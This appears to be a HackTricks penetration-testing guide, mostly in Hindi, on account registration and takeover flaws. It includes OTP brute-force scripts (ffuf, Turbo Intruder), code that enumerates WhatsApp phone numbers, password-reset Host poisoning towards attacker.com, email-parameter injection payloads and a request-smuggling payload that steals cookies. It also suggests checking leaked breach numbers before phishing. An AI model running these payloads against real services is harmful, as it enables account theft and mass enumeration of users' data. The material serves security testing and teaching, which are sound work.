रजिस्ट्रेशन और टेकओवर कमजोरियाँ
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
रजिस्ट्रेशन टेकओवर
डुप्लिकेट रजिस्ट्रेशन
- मौजूदा username का उपयोग करके अकाउंट बनाने की कोशिश करें
- email में विभिन्नता करके चेक करें:
- Uppercase
- +1@
- email में कुछ dot डालें
- email नाम में special characters डालें (%00, %09, %20)
- email के बाद blank characters डालें:
test@test.com a - victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
- email provider canonicalization tricks आज़माएँ (service-dependent):
- Gmail dots और subaddressing को ignore करता है:
victim+1@gmail.com,v.ic.tim@gmail.comvictim@gmail.comपर deliver होते हैं - कुछ providers local-part में case-insensitive होते हैं
- कुछ providers unicode confusables स्वीकार करते हैं। homoglyphs और soft hyphen
\u00ADको local-part में आज़माएँ - इनका दुरुपयोग कर के: uniqueness checks bypass करें, duplicate accounts/workspace invites प्राप्त करें, या victim sign‑ups को block करें (अस्थायी DoS) जबकि आप takeover तैयार कर रहे हों
Username Enumeration
Check if you can figure out when a username has already been registered inside the application.
- अलग error messages या HTTP status codes
- Timing differences (मौजूदा user IdP/DB lookup trigger कर सकता है)
- Registration form का autofill जो ज्ञात emails के लिए profile data भरता है
- team/invite flows चेक करें: email डालने पर पता चल सकता है कि account मौजूद है या नहीं
Password Policy
Creating a user check the password policy (check if you can use weak passwords).
ऐसी स्थिति में आप credentials को bruteforce करने की कोशिश कर सकते हैं।
SQL Injection
Check this page to learn how to attempt account takeovers or extract information via SQL Injections in registry forms.
Oauth Takeovers
SAML Vulnerabilities
Email बदलें
जब registered हों तो ईमेल बदलने की कोशिश करें और चेक करें कि यह परिवर्तन सही तरीके से validate होता है या क्या इसे किसी भी arbitrary ईमेल में बदला जा सकता है।
अन्य जाँचें
- चेक करें कि क्या आप disposable emails (mailinator, yopmail, 1secmail, आदि) का उपयोग कर सकते हैं या subaddressing जैसे
victim+mailinator@gmail.comसे blocklist bypass कर सकते हैं - Long password (>200) DoS का कारण बन सकता है
- account creation पर rate limits चेक करें
- username@burp_collab.net का उपयोग करें और callback analyze करें
- यदि phone number verification इस्तेमाल हो रहा है तो phone parsing/injection के edge cases चेक करें
Contact-discovery / identifier-enumeration oracles
Phone-number–centric messengers जब भी client contacts sync करता है तो एक presence oracle expose करते हैं। WhatsApp के discovery requests को replay करने से ऐतिहासिक रूप से >100M lookups per hour मिले, जिससे लगभग पूरी account enumeration संभव हुई।
हमले का कार्यप्रवाह
- Instrument an official client करके address-book upload request कैप्चर करें (normalized E.164 numbers का authenticated blob)। इसे attacker-generated numbers के साथ replay करें जबकि वही cookies/device token reuse कर रहे हों।
- Batch numbers per request: WhatsApp हजारों identifiers स्वीकार करता है और registered/unregistered के साथ metadata (business, companion, आदि) लौटा देता है। victims को संदेश भेजे बिना target lists बनाने के लिए responses को offline में analyze करें।
- Horizontally scale enumeration को SIM banks, cloud devices, या residential proxies के साथ scale करें ताकि per-account/IP/ASN throttling कभी trigger न हो।
Dialing-plan modeling
प्रत्येक देश के dialing plan का मॉडल बनाएँ ताकि invalid candidates को छोड़ा जा सके। NDSS dataset (country-table.*) में country codes, adoption density, और platform split सूचीबद्ध हैं ताकि आप high-hit ranges को प्राथमिकता दे सकें। Example seeding code:
import pandas as pd
from itertools import product
df = pd.read_csv("country-table.csv")
row = df[df["Country"] == "India"].iloc[0]
prefix = "+91" # India mobile numbers are 10 digits
for suffix in product("0123456789", repeat=10):
candidate = prefix + "".join(suffix)
enqueue(candidate)
Prioritise prefixes that match real allocations (Mobile Country Code + National Destination Code) before querying the oracle to keep throughput useful.
Turning enumerations into targeted attacks
- Feed leaked phone numbers (e.g., Facebook’s 2021 breach) into the oracle to learn which identities are still active before phishing, SIM-swapping, or spamming.
- Slice censuses by country/OS/app type to find regions with weak SMS filtering or heavy WhatsApp Business adoption for localized social engineering.
Public-key reuse correlation
WhatsApp exposes each account’s X25519 identity key during session setup. Request identity material for every enumerated number and deduplicate the public keys to reveal account farms, cloned clients, or insecure firmware—shared keys deanonymize multi-SIM operations.
Weak Email/Phone Verification (OTP/Magic Link)
Registration flows often verify ownership via a numeric OTP or a magic-link token. Typical flaws:
- Guessable or short OTP (4–6 digits) with no effective rate limiting or IP/device tracking. Try parallel guesses and header/IP rotation.
- OTP reuse across actions or accounts, or not bound to the specific user/action (e.g., same code works for login and signup, or works after email is changed).
- Multi-value smuggling: some backends accept multiple codes and verify if any matches. Try:
code=000000&code=123456- JSON arrays:
{"code":["000000","123456"]} - Mixed parameter names:
otp=000000&one_time_code=123456 - Comma/pipe separated values:
code=000000,123456orcode=000000|123456 - Response oracle: distinguish wrong vs expired vs wrong-user codes by status/message/body length.
- Tokens not invalidated after success or after password/email change.
- Verification token not tied to user agent/IP allowing cross-origin completion from attacker-controlled pages.
Bruteforcing example with ffuf against a JSON OTP endpoint:
ffuf -w <wordlist_of_codes> -u https://target.tld/api/verify -X POST \
-H 'Content-Type: application/json' \
-d '{"email":"victim@example.com","code":"FUZZ"}' \
-fr 'Invalid|Too many attempts' -mc all
Parallel/concurrent guessing से sequential lockouts को बायपास करने के लिए (use Turbo Intruder in Burp):
Turbo Intruder स्निपेट — 6‑digit OTP attempts को फ्लड करने के लिए
```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100) for code in range(0,1000000): body = '{"email":"victim@example.com","code":"%06d"}' % code engine.queue(target.req, body=body)def handleResponse(req, interesting): if req.status != 401 and b’Invalid’ not in req.response: table.add(req)
</details>
- Try racing verification: एक ही valid OTP को दो sessions में एक साथ submit करें; कभी‑कभी एक session attacker का verified account बन जाता है जबकि victim का flow भी सफल हो जाता है।
- Also test Host header poisoning on verification links (same as reset poisoning below) ताकि attacker controlled host पर verification को leak या पूरा किया जा सके।
<a class="content_ref" href="rate-limit-bypass.md"><span class="content_ref_label">Rate Limit Bypass</span></a>
<a class="content_ref" href="2fa-bypass.md"><span class="content_ref_label">2FA/MFA/OTP Bypass</span></a>
<a class="content_ref" href="email-injections.md"><span class="content_ref_label">Email Injections</span></a>
## Account Pre‑Hijacking Techniques (before the victim signs up)
एक शक्तिशाली क्लास की समस्याएँ तब उत्पन्न होती हैं जब attacker, victim के email पर उन actions को करता है पहले कि victim अपना account बनाए, और बाद में फिर से access प्राप्त कर लेता है।
Key techniques to test (adapt to the target’s flows):
- Classic–Federated Merge
- Attacker: registers a classic account with victim email and sets a password
- Victim: later signs up with SSO (same email)
- Insecure merges may leave both parties logged in or resurrect the attacker’s access
- Unexpired Session Identifier
- Attacker: creates account and holds a long‑lived session (don’t log out)
- Victim: recovers/sets password and uses the account
- Test if old sessions stay valid after reset or MFA enablement
- Trojan Identifier
- Attacker: adds a secondary identifier to the pre‑created account (phone, additional email, or links attacker’s IdP)
- Victim: resets password; attacker later uses the trojan identifier to reset/login
- Unexpired Email Change
- Attacker: initiates email‑change to attacker mail and withholds confirmation
- Victim: recovers the account and starts using it
- Attacker: later completes the pending email‑change to steal the account
- Non‑Verifying IdP
- Attacker: uses an IdP that does not verify email ownership to assert `victim@…`
- Victim: signs up via classic route
- Service merges on email without checking `email_verified` or performing local verification
Practical tips
- Harvest flows and endpoints from web/mobile bundles. Classic signup, SSO linking, email/phone change, और password reset endpoints खोजें।
- Create realistic automation ताकि आप अन्य flows का परीक्षण करते हुए sessions को alive रख सकें।
- For SSO tests, एक test OIDC provider चलाएँ और victim address के लिए `email` claims और `email_verified=false` वाले tokens जारी करें ताकि आप चेक कर सकें कि RP unverified IdPs पर भरोसा करता है या नहीं।
- किसी भी password reset या email change के बाद verify करें कि:
- सभी अन्य sessions और tokens invalidated किए गए हैं,
- pending email/phone change capabilities cancelled कर दी गई हैं,
- पहले linked IdPs/emails/phones फिर से re‑verified किए गए हैं।
Note: इन तकनीकों की विस्तृत methodology और case studies Microsoft’s pre‑hijacking research में documented हैं (अंत में References देखें)।
<a class="content_ref" href="reset-password.md"><span class="content_ref_label">Reset/Forgotten Password Bypass</span></a>
<a class="content_ref" href="race-condition.md"><span class="content_ref_label">Race Condition</span></a>
## **Password Reset Takeover**
### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. Request password reset to your email address
2. Click on the password reset link
3. Don’t change password
4. Click any 3rd party websites(eg: Facebook, twitter)
5. Intercept the request in Burp Suite proxy
6. Check if the referer header is leaking password reset token.
### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Intercept the password reset request in Burp Suite
2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Forward the request with the modified header\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Look for a password reset URL based on the _host header_ like : `https://attacker.com/reset-password.php?token=TOKEN`
### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
IDOR पर API Parameters
- Attacker को अपने account से login करना होगा और Change password feature पर जाना होगा।
- Burp Suite शुरू करें और request को Intercept करें
- इसे repeater tab में भेजें और parameters (User ID/email) एडिट करें :
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Weak Password Reset Token
पासवर्ड रिसेट टोकन हर बार randomly generated और unique होना चाहिए।
पता लगाने की कोशिश करें कि क्या token expire होता है या हमेशा वही रहता है — कुछ मामलों में generation algorithm कमजोर होता है और guessed किया जा सकता है। algorithm में निम्न variables इस्तेमाल हो सकते हैं:
- Timestamp
- UserID
- Email of User
- Firstname and Lastname
- Date of Birth
- Cryptography
- Number only
- Small token sequence ( characters between [A-Z,a-z,0-9])
- Token reuse
- Token expiration date
Leaking Password Reset Token
- किसी specific email के लिए API/UI का उपयोग करके password reset request trigger करें, उदाहरण: test@mail.com
- server response को inspect करें और
resetTokenकी जांच करें - फिर token को इस तरह के URL में उपयोग करें:
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Password Reset Via Username Collision
- सिस्टम पर ऐसा username रजिस्टर करें जो victim के username के समान हो, पर username के पहले और/या बाद में white spaces डालें। उदाहरण:
"admin " - अपने malicious username के साथ password reset request करें।
- अपने ईमेल पर भेजे गए token का उपयोग करें और victim का password reset करें।
- नए password से victim account में लॉगिन करें।
The platform CTFd was vulnerable to this attack.
See: CVE-2020-7245
Account Takeover Via Cross Site Scripting
- Application या किसी subdomain में XSS ढूंढें, खासकर तब जब cookies parent domain पर scoped हों :
*.domain.com - Leak the current sessions cookie
- cookie का उपयोग करके user के रूप में authenticate करें
Account Takeover Via HTTP Request Smuggling
- smuggler का उपयोग करके HTTP Request Smuggling का प्रकार पता करें (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h - ऐसा request craft करें जो
POST / HTTP/1.1को निम्न डेटा से overwrite कर दे:GET http://something.burpcollaborator.net HTTP/1.1 X:— उद्देश्य victims को burpcollab पर open redirect करना और उनकी cookies चोरी करना है - अंतिम request कुछ इस तरह दिख सकता है
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
HackerOne ने इस बग का exploit करने की reports दीं\
CSRF के माध्यम से खाता अधिग्रहण
- CSRF के लिए एक payload बनाएं, उदाहरण: “HTML form जो पासवर्ड बदलने के लिए स्वतः सबमिट हो”
- payload भेजें
JWT के माध्यम से खाता अधिग्रहण
JSON Web Token का उपयोग किसी user को authenticate करने के लिए किया जा सकता है।
- JWT को दूसरे User ID / Email के साथ edit करें
- कमजोर JWT signature की जाँच करें
JWT Vulnerabilities (Json Web Tokens)
Registration-as-Reset (Upsert on Existing Email)
कुछ signup handlers तब upsert करते हैं जब दिया गया email पहले से मौजूद होता है। अगर endpoint एक minimal body (email और password के साथ) स्वीकार करता है और ownership verification लागू नहीं करता, तो पीड़ित का email भेजने से उनका password pre-auth overwrite हो जाएगा।
- खोज: bundled JS (या mobile app traffic) से endpoint नाम इकट्ठा करें, फिर ffuf/dirsearch का उपयोग करके /parents/application/v4/admin/FUZZ जैसे base paths को fuzz करें।
- Method hints: ऐसा GET जो “Only POST request is allowed.” जैसा संदेश लौटाता है अक्सर सही verb और यह संकेत देता है कि एक JSON body अपेक्षित है।
- वाइल्ड में देखी गई minimal body:
{"email":"victim@example.com","password":"New@12345"}
उदाहरण PoC:
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
प्रभाव: Full Account Takeover (ATO) बिना किसी reset token, OTP, या email verification के।
संदर्भ
- How I Found a Critical Password Reset Bug (Registration upsert ATO)
- Microsoft MSRC – Pre‑hijacking attacks on web user accounts (May 2022)
- https://salmonsec.com/cheatsheet/account_takeover
- Hey there! You are using WhatsApp: Enumerating Three Billion Accounts for Security and Privacy (NDSS 2026 paper & dataset)
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।


